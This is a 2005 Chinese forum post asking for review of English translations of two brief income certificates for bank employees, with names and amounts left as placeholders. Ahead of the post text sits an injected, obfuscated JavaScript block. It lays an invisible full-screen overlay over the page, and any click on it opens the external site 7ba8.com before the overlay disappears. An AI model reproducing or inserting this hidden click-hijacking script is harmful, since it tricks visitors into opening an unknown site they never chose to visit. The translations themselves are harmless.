标题: 麻烦帮我看看两个收入证明的翻译，很短的，谢谢！ [打印本页] 作者: vivikid 时间: 2005-6-21 14:41 标题: 麻烦帮我看看两个收入证明的翻译，很短的，谢谢！ <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>收入证明
兹证明我单位员工XXX女士月薪XXXX元人民币，年薪计XXXXX元人民币。
Certification of Income
This is to certify that the monthly pay of Ms. XXX, who is an employee of China Banking Regulatory Commission, XX Branch, is XXXX RMB, equal to XXXXX RMB per annum.
收入证明
兹证明XXX先生在我单位任副行长，年薪人民币XXXXX元
特此证明
CERTIFICATION OF INCOME
This is to certify that the annual salary of Mr. XXX, who is the vice president of Bank of China,XX Branch, is XXXXX RMB.